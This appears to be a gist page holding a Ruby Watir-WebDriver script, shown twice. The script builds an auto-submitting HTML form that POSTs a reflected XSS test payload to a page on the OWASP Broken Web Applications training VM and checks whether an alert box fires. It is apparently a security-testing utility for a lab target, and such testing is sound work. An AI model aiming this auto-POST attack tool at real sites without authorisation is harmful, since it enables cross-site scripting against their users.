ncoblentz/Arbitrary HTTP POST with Watir-WebDriver.rb

## Arbitrary HTTP POST with Watir-WebDriver.rb
#POST http://owaspbwa/vicnum/vicnum5.php
#player=<script>alert(1)</script>

require 'tempfile'
require 'escape_utils'
require 'watir-webdriver'
target='http://owaspbwa/vicnum/vicnum5.php' #the attack target
post='player=<script>alert(1)</script>' #the POST data to send to the target
postdata=Array.new

post.split('&').each do |name_value|
postdata.push(name_value.split('='))
end

#Create an HTML form to submit the POST request
html="<html><head></head><body>\r\n"
html+='<form name="WATIR_AUTO_FORM" method="post" action="'+target+'">'+"\r\n"
postdata.each do |pair|
if(pair.count > 0 && pair[0] && !pair[0].empty?)
html+='<input type="hidden" name="'+pair[0]+'" value="'
if(pair.count > 1 && pair[1])
html+=pair[1]
end
html+='" />'+"\r\n"
end
end
html+='</form><script>document.forms["WATIR_AUTO_FORM"].submit();</script></body></html>'

#save the HTML content to a file.
f=Tempfile.new('test.html')
f.puts(html)
location='file://'+f.path
print location+"\r\n"
f.close
browser = Watir::Browser.new

#View the generate HTML page
browser.goto location

begin
browser.driver.switch_to.alert.accept #throws an error if no alert is present
puts "XSS alert box was displayed!"
rescue
puts "Failed!"
end
	#POST http://owaspbwa/vicnum/vicnum5.php
	#player=<script>alert(1)</script>

	require 'tempfile'
	require 'escape_utils'
	require 'watir-webdriver'
	target='http://owaspbwa/vicnum/vicnum5.php' #the attack target
	post='player=<script>alert(1)</script>' #the POST data to send to the target
	postdata=Array.new

	post.split('&').each do \|name_value\|
	postdata.push(name_value.split('='))
	end

	#Create an HTML form to submit the POST request
	html="<html><head></head><body>\r\n"
	html+='<form name="WATIR_AUTO_FORM" method="post" action="'+target+'">'+"\r\n"
	postdata.each do \|pair\|
	if(pair.count > 0 && pair[0] && !pair[0].empty?)
	html+='<input type="hidden" name="'+pair[0]+'" value="'
	if(pair.count > 1 && pair[1])
	html+=pair[1]
	end
	html+='" />'+"\r\n"
	end
	end
	html+='</form><script>document.forms["WATIR_AUTO_FORM"].submit();</script></body></html>'

	#save the HTML content to a file.
	f=Tempfile.new('test.html')
	f.puts(html)
	location='file://'+f.path
	print location+"\r\n"
	f.close
	browser = Watir::Browser.new

	#View the generate HTML page
	browser.goto location

	begin
	browser.driver.switch_to.alert.accept #throws an error if no alert is present
	puts "XSS alert box was displayed!"
	rescue
	puts "Failed!"
	end